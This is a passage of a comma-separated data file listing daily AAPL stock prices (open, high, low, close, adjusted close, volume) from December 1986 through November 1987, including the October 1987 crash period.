-1986-12-12,0.765625,0.7678571343421936,0.7366071343421936,0.7366071343421936,0.5850280523300171,45029600.0,AAPL
-1986-12-15,0.7321428656578064,0.7455357313156128,0.7209821343421936,0.7455357313156128,0.5921195149421692,52264800.0,AAPL
-1986-12-16,0.7433035969734192,0.7589285969734192,0.7433035969734192,0.7589285969734192,0.6027565002441406,37984800.0,AAPL
-1986-12-17,0.7566964030265808,0.7589285969734192,0.7299107313156128,0.7366071343421936,0.5850280523300171,37777600.0,AAPL
-1986-12-18,0.734375,0.7477678656578064,0.7276785969734192,0.7388392686843872,0.5868011116981506,43764000.0,AAPL
-1986-12-19,0.7388392686843872,0.7589285969734192,0.7388392686843872,0.7522321343421936,0.597437858581543,49772800.0,AAPL
-1986-12-22,0.75,0.7589285969734192,0.7455357313156128,0.7522321343421936,0.597437858581543,41092800.0,AAPL
-1986-12-23,0.7544642686843872,0.7566964030265808,0.7477678656578064,0.7522321343421936,0.597437858581543,61040000.0,AAPL
-1986-12-24,0.75,0.7522321343421936,0.7433035969734192,0.7477678656578064,0.5938920974731445,23940000.0,AAPL
-1986-12-26,0.7477678656578064,0.7477678656578064,0.7321428656578064,0.7321428656578064,0.5814827680587769,22467200.0,AAPL
-1986-12-29,0.7321428656578064,0.734375,0.71875,0.7232142686843872,0.5743916034698486,29411200.0,AAPL
-1986-12-30,0.7232142686843872,0.7410714030265808,0.7209821343421936,0.7321428656578064,0.5814827680587769,37038400.0,AAPL
-1986-12-31,0.7321428656578064,0.7388392686843872,0.7209821343421936,0.7232142686843872,0.5743916034698486,33140800.0,AAPL
-1987-01-02,0.7209821343421936,0.734375,0.7165178656578064,0.7299107313156128,0.5797098278999329,30217600.0,AAPL
-1987-01-05,0.7366071343421936,0.7723214030265808,0.7321428656578064,0.7678571343421936,0.6098476648330688,59920000.0,AAPL
-1987-01-06,0.7700892686843872,0.7857142686843872,0.7611607313156128,0.78125,0.6204845309257507,81200000.0,AAPL
-1987-01-07,0.7834821343421936,0.8013392686843872,0.7790178656578064,0.7991071343421936,0.6346669793128967,108640000.0,AAPL
-1987-01-08,0.7991071343421936,0.8058035969734192,0.7946428656578064,0.7991071343421936,0.6346669793128967,72800000.0,AAPL
-1987-01-09,0.7991071343421936,0.8169642686843872,0.7924107313156128,0.8102678656578064,0.6435309648513794,59920000.0,AAPL
-1987-01-12,0.8125,0.8169642686843872,0.7991071343421936,0.8125,0.6453037858009338,58240000.0,AAPL
-1987-01-13,0.8058035969734192,0.8102678656578064,0.796875,0.796875,0.6328939199447632,52931200.0,AAPL
-1987-01-14,0.796875,0.8616071343421936,0.7946428656578064,0.859375,0.6825330853462219,126000000.0,AAPL
-1987-01-15,0.8616071343421936,0.9174107313156128,0.8571428656578064,0.890625,0.7073523998260498,136640000.0,AAPL
-1987-01-16,0.8928571343421936,0.8928571343421936,0.8526785969734192,0.8705357313156128,0.6913970112800598,101920000.0,AAPL
-1987-01-19,0.8705357313156128,0.9486607313156128,0.8549107313156128,0.9486607313156128,0.753445565700531,90720000.0,AAPL
-1987-01-20,0.9821428656578064,0.9955357313156128,0.9196428656578064,0.921875,0.7321717143058777,193760000.0,AAPL
-1987-01-21,0.9084821343421936,0.9129464030265808,0.875,0.875,0.6949427127838135,133280000.0,AAPL
-1987-01-22,0.8727678656578064,0.9397321343421936,0.8660714030265808,0.9375,0.7445815205574036,118160000.0,AAPL
-1987-01-23,0.9375,0.9464285969734192,0.8973214030265808,0.8973214030265808,0.7126709818840027,114800000.0,AAPL
-1987-01-26,0.8928571343421936,0.9017857313156128,0.8839285969734192,0.8883928656578064,0.7055795788764954,87920000.0,AAPL
-1987-01-27,0.8928571343421936,0.9486607313156128,0.890625,0.9419642686843872,0.7481270432472229,94640000.0,AAPL
-1987-01-28,0.9464285969734192,0.9955357313156128,0.9308035969734192,0.9888392686843872,0.7853561043739319,103600000.0,AAPL
-1987-01-29,0.9977678656578064,1.0223214626312256,0.953125,0.9665178656578064,0.7676281929016113,139440000.0,AAPL
-1987-01-30,0.9642857313156128,0.9977678656578064,0.9397321343421936,0.9910714030265808,0.7871286869049072,102480000.0,AAPL
-1987-02-02,0.9910714030265808,1.0,0.96875,0.9977678656578064,0.7924472689628601,61600000.0,AAPL
-1987-02-03,1.0,1.0022321939468384,0.9776785969734192,0.9910714030265808,0.7871286869049072,44654400.0,AAPL
-1987-02-04,0.9910714030265808,0.9910714030265808,0.9709821343421936,0.9821428656578064,0.7800377607345581,54460000.0,AAPL
-1987-02-05,0.9821428656578064,0.984375,0.9486607313156128,0.9620535969734192,0.7640822529792786,85120000.0,AAPL
-1987-02-06,0.9642857313156128,0.9642857313156128,0.9441964030265808,0.9642857313156128,0.7658553123474121,73360000.0,AAPL
-1987-02-09,0.9441964030265808,0.953125,0.9330357313156128,0.9397321343421936,0.7463544607162476,39250400.0,AAPL
-1987-02-10,0.9375,0.9419642686843872,0.921875,0.9419642686843872,0.7481270432472229,41697600.0,AAPL
-1987-02-11,0.9464285969734192,1.0133928060531616,0.9419642686843872,1.0089285373687744,0.8013114929199219,85680000.0,AAPL
-1987-02-12,1.0178571939468384,1.0691964626312256,1.0178571939468384,1.046875,0.8314489722251892,177520000.0,AAPL
-1987-02-13,1.046875,1.1160714626312256,1.0357142686843872,1.109375,0.8810877799987793,127680000.0,AAPL
-1987-02-17,1.109375,1.1875,1.1049107313156128,1.1852678060531616,0.9413633346557617,102480000.0,AAPL
-1987-02-18,1.1897321939468384,1.203125,1.1316964626312256,1.1339285373687744,0.9005888104438782,117600000.0,AAPL
-1987-02-19,1.1339285373687744,1.1339285373687744,1.1026785373687744,1.1138392686843872,0.8846335411071777,78400000.0,AAPL
-1987-02-20,1.1138392686843872,1.1160714626312256,1.0825892686843872,1.09375,0.8686781525611877,47661600.0,AAPL
-1987-02-23,1.0870535373687744,1.1473214626312256,1.0647321939468384,1.1272321939468384,0.895270586013794,87920000.0,AAPL
-1987-02-24,1.1294642686843872,1.1785714626312256,1.1272321939468384,1.1696428060531616,0.9289537072181702,89040000.0,AAPL
-1987-02-25,1.1696428060531616,1.2410714626312256,1.1540178060531616,1.234375,0.9803653359413147,113680000.0,AAPL
-1987-02-26,1.2410714626312256,1.2745535373687744,1.2142857313156128,1.234375,0.9803653359413147,124880000.0,AAPL
-1987-02-27,1.234375,1.2678571939468384,1.2098214626312256,1.25,0.992775022983551,101360000.0,AAPL
-1987-03-02,1.2544642686843872,1.2589285373687744,1.1964285373687744,1.2053571939468384,0.9573188424110413,99120000.0,AAPL
-1987-03-03,1.2053571939468384,1.2165178060531616,1.15625,1.1607142686843872,0.9218624234199524,109200000.0,AAPL
-1987-03-04,1.1741071939468384,1.21875,1.1674107313156128,1.2075892686843872,0.9590915441513062,112000000.0,AAPL
-1987-03-05,1.2053571939468384,1.2321428060531616,1.2008928060531616,1.2232142686843872,0.9715018272399902,84560000.0,AAPL
-1987-03-06,1.2008928060531616,1.2209821939468384,1.1919642686843872,1.2008928060531616,0.9537732601165771,44094400.0,AAPL
-1987-03-09,1.1875,1.1919642686843872,1.1517857313156128,1.1540178060531616,0.9165441393852234,63840000.0,AAPL
-1987-03-10,1.1517857313156128,1.1941964626312256,1.1517857313156128,1.1919642686843872,0.946681797504425,61040000.0,AAPL
-1987-03-11,1.2008928060531616,1.2142857313156128,1.1830357313156128,1.1830357313156128,0.939590573310852,54616800.0,AAPL
-1987-03-12,1.1785714626312256,1.1830357313156128,1.1361607313156128,1.1651785373687744,0.9254084825515747,75600000.0,AAPL
-1987-03-13,1.1651785373687744,1.1785714626312256,1.1339285373687744,1.1339285373687744,0.9005888104438782,49403200.0,AAPL
-1987-03-16,1.1339285373687744,1.1651785373687744,1.1160714626312256,1.1651785373687744,0.9254084825515747,61600000.0,AAPL
-1987-03-17,1.1696428060531616,1.2142857313156128,1.1607142686843872,1.1964285373687744,0.9502274394035339,61040000.0,AAPL
-1987-03-18,1.2008928060531616,1.2053571939468384,1.15625,1.1785714626312256,0.9360455274581909,75600000.0,AAPL
-1987-03-19,1.1741071939468384,1.2232142686843872,1.1696428060531616,1.2209821939468384,0.9697287678718567,51682400.0,AAPL
-1987-03-20,1.21875,1.2455357313156128,1.21875,1.21875,0.9679555892944336,86800000.0,AAPL
-1987-03-23,1.2142857313156128,1.21875,1.1830357313156128,1.2053571939468384,0.9573188424110413,61600000.0,AAPL
-1987-03-24,1.2098214626312256,1.2232142686843872,1.1830357313156128,1.1830357313156128,0.939590573310852,67200000.0,AAPL
-1987-03-25,1.1875,1.1964285373687744,1.1651785373687744,1.1919642686843872,0.946681797504425,68320000.0,AAPL
-1987-03-26,1.1919642686843872,1.2098214626312256,1.1875,1.2008928060531616,0.9537732601165771,35756000.0,AAPL
-1987-03-27,1.2008928060531616,1.2053571939468384,1.15625,1.1607142686843872,0.9218624234199524,33476800.0,AAPL
-1987-03-30,1.1339285373687744,1.1473214626312256,1.1116071939468384,1.1160714626312256,0.8864062428474426,64960000.0,AAPL
-1987-03-31,1.1116071939468384,1.15625,1.1116071939468384,1.1517857313156128,0.914771318435669,68320000.0,AAPL
-1987-04-01,1.125,1.1964285373687744,1.1138392686843872,1.1919642686843872,0.946681797504425,54465600.0,AAPL
-1987-04-02,1.21875,1.28125,1.1964285373687744,1.28125,1.017594337463379,194320000.0,AAPL
-1987-04-03,1.2767857313156128,1.2834821939468384,1.2544642686843872,1.28125,1.017594337463379,134960000.0,AAPL
-1987-04-06,1.2767857313156128,1.2991071939468384,1.2366071939468384,1.25,0.992775022983551,72240000.0,AAPL
-1987-04-07,1.2455357313156128,1.2544642686843872,1.2098214626312256,1.2098214626312256,0.9608646631240845,64960000.0,AAPL
-1987-04-08,1.2098214626312256,1.2544642686843872,1.2053571939468384,1.2321428060531616,0.9785926938056946,57680000.0,AAPL
-1987-04-09,1.2276785373687744,1.2767857313156128,1.2098214626312256,1.2678571939468384,1.0069580078125,59360000.0,AAPL
-1987-04-10,1.2723214626312256,1.2767857313156128,1.2455357313156128,1.2544642686843872,0.996320903301239,54460000.0,AAPL
-1987-04-13,1.25,1.2544642686843872,1.2053571939468384,1.2053571939468384,0.9573188424110413,35554400.0,AAPL
-1987-04-14,1.1919642686843872,1.2455357313156128,1.1875,1.2142857313156128,0.9644103646278381,101920000.0,AAPL
-1987-04-15,1.2410714626312256,1.2678571939468384,1.2276785373687744,1.2678571939468384,1.0069580078125,87360000.0,AAPL
-1987-04-16,1.2723214626312256,1.3080357313156128,1.2678571939468384,1.2767857313156128,1.0140491724014282,86800000.0,AAPL
-1987-04-20,1.2767857313156128,1.2991071939468384,1.2633928060531616,1.2700892686843872,1.008730411529541,37290400.0,AAPL
-1987-04-21,1.2544642686843872,1.3392857313156128,1.2410714626312256,1.3348214626312256,1.0601423978805542,108080000.0,AAPL
-1987-04-22,1.3683035373687744,1.375,1.3214285373687744,1.3258928060531616,1.0530503988265991,100800000.0,AAPL
-1987-04-23,1.3258928060531616,1.3794642686843872,1.3258928060531616,1.3571428060531616,1.0778698921203613,76160000.0,AAPL
-1987-04-24,1.3526785373687744,1.3660714626312256,1.3303571939468384,1.3348214626312256,1.0601423978805542,63840000.0,AAPL
-1987-04-27,1.3258928060531616,1.34375,1.3080357313156128,1.3392857313156128,1.0636875629425049,95760000.0,AAPL
-1987-04-28,1.3526785373687744,1.390625,1.3482142686843872,1.375,1.0920524597167969,81200000.0,AAPL
-1987-04-29,1.3794642686843872,1.4241071939468384,1.375,1.3883928060531616,1.1026897430419922,72800000.0,AAPL
-1987-04-30,1.3928571939468384,1.4285714626312256,1.3883928060531616,1.4151785373687744,1.1239632368087769,63280000.0,AAPL
-1987-05-01,1.4196428060531616,1.4285714626312256,1.40625,1.4285714626312256,1.134600281715393,33180000.0,AAPL
-1987-05-04,1.4196428060531616,1.4330357313156128,1.4107142686843872,1.4241071939468384,1.1310546398162842,35526400.0,AAPL
-1987-05-05,1.4285714626312256,1.4419642686843872,1.3928571939468384,1.4330357313156128,1.138145923614502,57680000.0,AAPL
-1987-05-06,1.4375,1.46875,1.4151785373687744,1.4285714626312256,1.134600281715393,71680000.0,AAPL
-1987-05-07,1.4241071939468384,1.4464285373687744,1.4241071939468384,1.4330357313156128,1.138145923614502,45197600.0,AAPL
-1987-05-08,1.4375,1.4464285373687744,1.4107142686843872,1.4107142686843872,1.1204177141189575,46183200.0,AAPL
-1987-05-11,1.375,1.4196428060531616,1.3705357313156128,1.375,1.0937116146087646,49319200.0,AAPL
-1987-05-12,1.3571428060531616,1.3660714626312256,1.3392857313156128,1.3482142686843872,1.0724049806594849,64960000.0,AAPL
-1987-05-13,1.3526785373687744,1.4040178060531616,1.3482142686843872,1.4017857313156128,1.1150180101394653,77840000.0,AAPL
-1987-05-14,1.3973214626312256,1.4196428060531616,1.3973214626312256,1.4151785373687744,1.1256707906723022,37122400.0,AAPL
-1987-05-15,1.4151785373687744,1.4151785373687744,1.3928571939468384,1.3973214626312256,1.1114667654037476,36489600.0,AAPL
-1987-05-18,1.3973214626312256,1.4017857313156128,1.3482142686843872,1.3526785373687744,1.0759564638137817,60480000.0,AAPL
-1987-05-19,1.3526785373687744,1.3526785373687744,1.296875,1.3080357313156128,1.0404467582702637,59920000.0,AAPL
-1987-05-20,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3303571939468384,1.0582019090652466,72240000.0,AAPL
-1987-05-21,1.3348214626312256,1.3526785373687744,1.3303571939468384,1.3303571939468384,1.0582019090652466,43450400.0,AAPL
-1987-05-22,1.3392857313156128,1.3482142686843872,1.3169642686843872,1.3236607313156128,1.0528748035430908,24276000.0,AAPL
-1987-05-26,1.3303571939468384,1.3928571939468384,1.3214285373687744,1.3928571939468384,1.1079161167144775,38063200.0,AAPL
-1987-05-27,1.3928571939468384,1.4330357313156128,1.3839285373687744,1.4196428060531616,1.12922203540802,45175200.0,AAPL
-1987-05-28,1.4196428060531616,1.4330357313156128,1.4017857313156128,1.4285714626312256,1.1363239288330078,37805600.0,AAPL
-1987-05-29,1.4330357313156128,1.4375,1.4107142686843872,1.4107142686843872,1.1221200227737427,23150400.0,AAPL
-1987-06-01,1.4196428060531616,1.4196428060531616,1.3839285373687744,1.3883928060531616,1.1043649911880493,20826400.0,AAPL
-1987-06-02,1.3839285373687744,1.3928571939468384,1.375,1.3794642686843872,1.0972627401351929,34372800.0,AAPL
-1987-06-03,1.3794642686843872,1.4196428060531616,1.3794642686843872,1.3883928060531616,1.1043649911880493,42828800.0,AAPL
-1987-06-04,1.3928571939468384,1.40625,1.375,1.4017857313156128,1.1150180101394653,38399200.0,AAPL
-1987-06-05,1.40625,1.40625,1.3883928060531616,1.3883928060531616,1.1043649911880493,32732000.0,AAPL
-1987-06-08,1.3883928060531616,1.3928571939468384,1.3705357313156128,1.3883928060531616,1.1043649911880493,50461600.0,AAPL
-1987-06-09,1.3839285373687744,1.4196428060531616,1.3839285373687744,1.4017857313156128,1.1150180101394653,31763200.0,AAPL
-1987-06-10,1.40625,1.4330357313156128,1.3928571939468384,1.4017857313156128,1.1150180101394653,36556800.0,AAPL
-1987-06-11,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4107142686843872,1.1221200227737427,31343200.0,AAPL
-1987-06-12,1.4107142686843872,1.4241071939468384,1.40625,1.4107142686843872,1.1221200227737427,25440800.0,AAPL
-1987-06-15,1.4107142686843872,1.4196428060531616,1.3839285373687744,1.4017857313156128,1.1150180101394653,64960000.0,AAPL
-1987-06-16,1.4821428060531616,1.4910714626312256,1.3571428060531616,1.4821428060531616,1.1789361238479614,85680000.0,AAPL
-1987-06-17,1.4821428060531616,1.5178571939468384,1.4285714626312256,1.4464285373687744,1.1505284309387207,74480000.0,AAPL
-1987-06-18,1.4375,1.4910714626312256,1.4107142686843872,1.4821428060531616,1.1789361238479614,57400000.0,AAPL
-1987-06-19,1.4821428060531616,1.4910714626312256,1.4419642686843872,1.4642857313156128,1.1647323369979858,31360000.0,AAPL
-1987-06-22,1.4732142686843872,1.5089285373687744,1.4598214626312256,1.5,1.1931405067443848,42280000.0,AAPL
-1987-06-23,1.5,1.5044642686843872,1.4553571939468384,1.4732142686843872,1.1718337535858154,20213200.0,AAPL
-1987-06-24,1.4821428060531616,1.5446428060531616,1.4464285373687744,1.5,1.1931405067443848,29680000.0,AAPL
-1987-06-25,1.5,1.5178571939468384,1.4464285373687744,1.4464285373687744,1.1505284309387207,30240000.0,AAPL
-1987-06-26,1.4553571939468384,1.4821428060531616,1.4285714626312256,1.4464285373687744,1.1505284309387207,31920000.0,AAPL
-1987-06-29,1.4464285373687744,1.4553571939468384,1.4285714626312256,1.4553571939468384,1.1576300859451294,25326000.0,AAPL
-1987-06-30,1.4464285373687744,1.4642857313156128,1.4196428060531616,1.4464285373687744,1.1505284309387207,36120000.0,AAPL
-1987-07-01,1.4553571939468384,1.4553571939468384,1.4196428060531616,1.4285714626312256,1.1363239288330078,23707600.0,AAPL
-1987-07-02,1.4285714626312256,1.4642857313156128,1.4196428060531616,1.4508928060531616,1.1540788412094116,20389600.0,AAPL
-1987-07-06,1.4553571939468384,1.4910714626312256,1.4464285373687744,1.4553571939468384,1.1576300859451294,21372400.0,AAPL
-1987-07-07,1.4464285373687744,1.4642857313156128,1.3839285373687744,1.4017857313156128,1.1150180101394653,50960000.0,AAPL
-1987-07-08,1.4017857313156128,1.4017857313156128,1.3035714626312256,1.3303571939468384,1.0582019090652466,85400000.0,AAPL
-1987-07-09,1.3303571939468384,1.3839285373687744,1.3303571939468384,1.3482142686843872,1.0724049806594849,59920000.0,AAPL
-1987-07-10,1.3571428060531616,1.4017857313156128,1.3482142686843872,1.3571428060531616,1.0795074701309204,39200000.0,AAPL
-1987-07-13,1.3928571939468384,1.4553571939468384,1.3839285373687744,1.4464285373687744,1.1505284309387207,63840000.0,AAPL
-1987-07-14,1.4642857313156128,1.5357142686843872,1.4642857313156128,1.5357142686843872,1.221548318862915,64400000.0,AAPL
-1987-07-15,1.5357142686843872,1.5982142686843872,1.5089285373687744,1.5714285373687744,1.2499566078186035,67760000.0,AAPL
-1987-07-16,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5714285373687744,1.2499566078186035,23646000.0,AAPL
-1987-07-17,1.5803571939468384,1.5982142686843872,1.5267857313156128,1.5446428060531616,1.2286502122879028,23049600.0,AAPL
-1987-07-20,1.5357142686843872,1.5446428060531616,1.4821428060531616,1.4910714626312256,1.1860381364822388,31080000.0,AAPL
-1987-07-21,1.5,1.5178571939468384,1.4732142686843872,1.4776785373687744,1.1753852367401123,27748000.0,AAPL
-1987-07-22,1.4821428060531616,1.5267857313156128,1.4732142686843872,1.5178571939468384,1.20734441280365,15232000.0,AAPL
-1987-07-23,1.5357142686843872,1.5535714626312256,1.4464285373687744,1.4910714626312256,1.1860381364822388,18684400.0,AAPL
-1987-07-24,1.4821428060531616,1.5267857313156128,1.4821428060531616,1.5178571939468384,1.20734441280365,29400000.0,AAPL
-1987-07-27,1.5178571939468384,1.5357142686843872,1.5,1.5089285373687744,1.200242280960083,14159600.0,AAPL
-1987-07-28,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.4955357313156128,1.1895886659622192,18572400.0,AAPL
-1987-07-29,1.5,1.5,1.4464285373687744,1.4642857313156128,1.1647323369979858,24707200.0,AAPL
-1987-07-30,1.4642857313156128,1.4821428060531616,1.4553571939468384,1.4821428060531616,1.1789361238479614,26073600.0,AAPL
-1987-07-31,1.4732142686843872,1.5,1.4732142686843872,1.4732142686843872,1.1718337535858154,18261600.0,AAPL
-1987-08-03,1.4642857313156128,1.4821428060531616,1.4375,1.4375,1.1434258222579956,15839600.0,AAPL
-1987-08-04,1.4464285373687744,1.5089285373687744,1.4285714626312256,1.5089285373687744,1.200242280960083,30240000.0,AAPL
-1987-08-05,1.5089285373687744,1.5535714626312256,1.5,1.5446428060531616,1.2286502122879028,32480000.0,AAPL
-1987-08-06,1.5446428060531616,1.6696428060531616,1.5267857313156128,1.6517857313156128,1.3138744831085205,63000000.0,AAPL
-1987-08-07,1.6517857313156128,1.6875,1.6428571939468384,1.6607142686843872,1.3209766149520874,38080000.0,AAPL
-1987-08-10,1.7232142686843872,1.7232142686843872,1.6339285373687744,1.7232142686843872,1.3724592924118042,19499200.0,AAPL
-1987-08-11,1.7678571939468384,1.7946428060531616,1.7410714626312256,1.7678571939468384,1.408015251159668,67760000.0,AAPL
-1987-08-12,1.7678571939468384,1.7767857313156128,1.7232142686843872,1.7410714626312256,1.3866820335388184,40320000.0,AAPL
-1987-08-13,1.7410714626312256,1.7946428060531616,1.7321428060531616,1.75,1.3937928676605225,49000000.0,AAPL
-1987-08-14,1.7321428060531616,1.7857142686843872,1.7142857313156128,1.75,1.3937928676605225,26213600.0,AAPL
-1987-08-17,1.7678571939468384,1.7857142686843872,1.7410714626312256,1.7678571939468384,1.408015251159668,36400000.0,AAPL
-1987-08-18,1.7589285373687744,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.3866820335388184,59360000.0,AAPL
-1987-08-19,1.7678571939468384,1.7857142686843872,1.75,1.7857142686843872,1.4222373962402344,16718800.0,AAPL
-1987-08-20,1.7946428060531616,1.875,1.7767857313156128,1.8482142686843872,1.4720155000686646,43960000.0,AAPL
-1987-08-21,1.8482142686843872,1.9196428060531616,1.8392857313156128,1.8928571939468384,1.5075719356536865,35000000.0,AAPL
-1987-08-24,1.8928571939468384,1.9107142686843872,1.8660714626312256,1.8660714626312256,1.486238718032837,30240000.0,AAPL
-1987-08-25,1.8839285373687744,1.9017857313156128,1.8571428060531616,1.8571428060531616,1.479127287864685,34160000.0,AAPL
-1987-08-26,1.8928571939468384,1.9107142686843872,1.8571428060531616,1.8571428060531616,1.479127287864685,49000000.0,AAPL
-1987-08-27,1.8660714626312256,1.8839285373687744,1.8392857313156128,1.8571428060531616,1.479127287864685,31080000.0,AAPL
-1987-08-28,1.8571428060531616,1.875,1.8392857313156128,1.8571428060531616,1.479127287864685,23954000.0,AAPL
-1987-08-31,1.8660714626312256,1.9375,1.8482142686843872,1.9285714626312256,1.536016821861267,37520000.0,AAPL
-1987-09-01,1.9553571939468384,1.9732142686843872,1.875,1.875,1.493349552154541,34720000.0,AAPL
-1987-09-02,1.8571428060531616,1.9017857313156128,1.8125,1.8571428060531616,1.479127287864685,57400000.0,AAPL
-1987-09-03,1.875,1.8839285373687744,1.7946428060531616,1.8303571939468384,1.457793116569519,46200000.0,AAPL
-1987-09-04,1.8303571939468384,1.8482142686843872,1.7857142686843872,1.8035714626312256,1.4364597797393799,27109600.0,AAPL
-1987-09-08,1.7946428060531616,1.8035714626312256,1.7321428060531616,1.78125,1.4186819791793823,43960000.0,AAPL
-1987-09-09,1.7946428060531616,1.8928571939468384,1.7678571939468384,1.8839285373687744,1.5004606246948242,39480000.0,AAPL
-1987-09-10,1.9017857313156128,1.9464285373687744,1.8973214626312256,1.9196428060531616,1.5289055109024048,35000000.0,AAPL
-1987-09-11,1.9285714626312256,1.9821428060531616,1.8839285373687744,1.9464285373687744,1.550239086151123,31080000.0,AAPL
-1987-09-14,1.9553571939468384,1.9732142686843872,1.8839285373687744,1.8928571939468384,1.5075719356536865,20476400.0,AAPL
-1987-09-15,1.8928571939468384,1.8928571939468384,1.8392857313156128,1.8482142686843872,1.4720155000686646,26152000.0,AAPL
-1987-09-16,1.8482142686843872,1.8794642686843872,1.8303571939468384,1.8482142686843872,1.4720155000686646,42000000.0,AAPL
-1987-09-17,1.8571428060531616,1.8660714626312256,1.8214285373687744,1.8571428060531616,1.479127287864685,16699200.0,AAPL
-1987-09-18,1.8571428060531616,1.8660714626312256,1.8348214626312256,1.8482142686843872,1.4720155000686646,17799600.0,AAPL
-1987-09-21,1.8482142686843872,1.8839285373687744,1.7946428060531616,1.7946428060531616,1.4293493032455444,32200000.0,AAPL
-1987-09-22,1.8035714626312256,1.9375,1.7946428060531616,1.9330357313156128,1.5395725965499878,38360000.0,AAPL
-1987-09-23,1.9330357313156128,2.0,1.9196428060531616,1.9732142686843872,1.5715725421905518,63644000.0,AAPL
-1987-09-24,1.9732142686843872,2.0669643878936768,1.9732142686843872,2.017857074737549,1.607128620147705,45640000.0,AAPL
-1987-09-25,2.0267856121063232,2.0714285373687744,2.017857074737549,2.0535714626312256,1.635573387145996,26630800.0,AAPL
-1987-09-28,2.0535714626312256,2.0982143878936768,1.9821428060531616,1.9910714626312256,1.5857946872711182,50960000.0,AAPL
-1987-09-29,2.0,2.0,1.9375,1.9464285373687744,1.550239086151123,42840000.0,AAPL
-1987-09-30,1.9375,2.0357143878936768,1.9375,2.017857074737549,1.607128620147705,30520000.0,AAPL
-1987-10-01,2.0267856121063232,2.0982143878936768,2.017857074737549,2.080357074737549,1.6569069623947144,29120000.0,AAPL
-1987-10-02,2.080357074737549,2.0982143878936768,2.0535714626312256,2.0892856121063232,1.6640180349349976,24124800.0,AAPL
-1987-10-05,2.0892856121063232,2.1339285373687744,2.0625,2.1160714626312256,1.685351848602295,33600000.0,AAPL
-1987-10-06,2.125,2.125,1.9821428060531616,1.9910714626312256,1.5857946872711182,50400000.0,AAPL
-1987-10-07,1.9821428060531616,1.9910714626312256,1.9375,1.9821428060531616,1.5786833763122559,56000000.0,AAPL
-1987-10-08,1.9821428060531616,2.0,1.9017857313156128,1.9375,1.543127417564392,41160000.0,AAPL
-1987-10-09,1.9375,1.9821428060531616,1.9285714626312256,1.9330357313156128,1.5395725965499878,36400000.0,AAPL
-1987-10-12,1.9375,1.9419642686843872,1.8482142686843872,1.9017857313156128,1.5146832466125488,49840000.0,AAPL
-1987-10-13,1.9464285373687744,1.9553571939468384,1.9017857313156128,1.9464285373687744,1.550239086151123,40600000.0,AAPL
-1987-10-14,1.9196428060531616,1.9285714626312256,1.8571428060531616,1.9017857313156128,1.5146832466125488,64680000.0,AAPL
-1987-10-15,1.9017857313156128,1.9464285373687744,1.8482142686843872,1.8571428060531616,1.479127287864685,87080000.0,AAPL
-1987-10-16,1.8660714626312256,1.8928571939468384,1.6964285373687744,1.7232142686843872,1.3724592924118042,105000000.0,AAPL
-1987-10-19,1.7232142686843872,1.7232142686843872,1.2678571939468384,1.3035714626312256,1.038233757019043,119000000.0,AAPL
-1987-10-20,1.375,1.5,1.1651785373687744,1.2321428060531616,0.9813438653945923,142240000.0,AAPL
-1987-10-21,1.375,1.5,1.3571428060531616,1.4464285373687744,1.1520130634307861,133560000.0,AAPL
-1987-10-22,1.4017857313156128,1.4464285373687744,1.2857142686843872,1.3125,1.0453450679779053,96320000.0,AAPL
-1987-10-23,1.2767857313156128,1.3035714626312256,1.2232142686843872,1.2678571939468384,1.0097887516021729,49560000.0,AAPL
-1987-10-26,1.2321428060531616,1.25,0.9866071343421936,1.0,0.796453058719635,78400000.0,AAPL
-1987-10-27,1.0535714626312256,1.1517857313156128,1.0357142686843872,1.0803571939468384,0.8604536652565002,113960000.0,AAPL
-1987-10-28,1.0982142686843872,1.2053571939468384,1.0446428060531616,1.1964285373687744,0.9528989791870117,104720000.0,AAPL
-1987-10-29,1.2232142686843872,1.4285714626312256,1.1517857313156128,1.4107142686843872,1.1235675811767578,82880000.0,AAPL
-1987-10-30,1.4285714626312256,1.5357142686843872,1.375,1.3794642686843872,1.0986785888671875,105280000.0,AAPL
-1987-11-02,1.3839285373687744,1.4107142686843872,1.3392857313156128,1.3839285373687744,1.102234125137329,47040000.0,AAPL
-1987-11-03,1.3571428060531616,1.375,1.2232142686843872,1.2946428060531616,1.031122088432312,78400000.0,AAPL
-1987-11-04,1.2678571939468384,1.3303571939468384,1.2410714626312256,1.2857142686843872,1.0240110158920288,58520000.0,AAPL
-1987-11-05,1.2946428060531616,1.3839285373687744,1.2946428060531616,1.3571428060531616,1.08090078830719,63840000.0,AAPL
-1987-11-06,1.3660714626312256,1.4107142686843872,1.3214285373687744,1.3482142686843872,1.0737888813018799,46760000.0,AAPL
-1987-11-09,1.3214285373687744,1.3392857313156128,1.2946428060531616,1.3303571939468384,1.0595674514770508,52640000.0,AAPL
-1987-11-10,1.3035714626312256,1.3392857313156128,1.2857142686843872,1.2946428060531616,1.031122088432312,57960000.0,AAPL
-1987-11-11,1.3303571939468384,1.3660714626312256,1.3125,1.3303571939468384,1.0595674514770508,46480000.0,AAPL
-1987-11-12,1.375,1.4285714626312256,1.3705357313156128,1.3839285373687744,1.102234125137329,61600000.0,AAPL
-1987-11-13,1.4017857313156128,1.4107142686843872,1.3214285373687744,1.3303571939468384,1.0595674514770508,38640000.0,AAPL
-1987-11-16,1.3482142686843872,1.375,1.3035714626312256,1.3125,1.0453450679779053,46200000.0,AAPL
-1987-11-17,1.3125,1.3214285373687744,1.25,1.25,0.9977405071258545,67200000.0,AAPL
-1987-11-18,1.2767857313156128,1.3035714626312256,1.2321428060531616,1.2946428060531616,1.0333741903305054,66360000.0,AAPL
-1987-11-19,1.3035714626312256,1.3035714626312256,1.2142857313156128,1.2321428060531616,0.9834870100021362,45640000.0,AAPL
-1987-11-20,1.2142857313156128,1.2857142686843872,1.1875,1.2678571939468384,1.0119942426681519,62720000.0,AAPL
-1987-11-23,1.2678571939468384,1.2946428060531616,1.2410714626312256,1.2946428060531616,1.0333741903305054,24348800.0,AAPL
-1987-11-24,1.3125,1.3482142686843872,1.2901785373687744,1.3214285373687744,1.0547542572021484,49280000.0,AAPL
-1987-11-25,1.3214285373687744,1.3214285373687744,1.2857142686843872,1.3035714626312256,1.0405007600784302,23100000.0,AAPL
-1987-11-27,1.2946428060531616,1.3035714626312256,1.2410714626312256,1.25,0.9977405071258545,17670800.0,AAPL
-1987-11-30,1.2053571939468384,1.2321428060531616,1.0892857313156128,1.1785714626312256,0.9407270550727844,104160000.0,AAPL
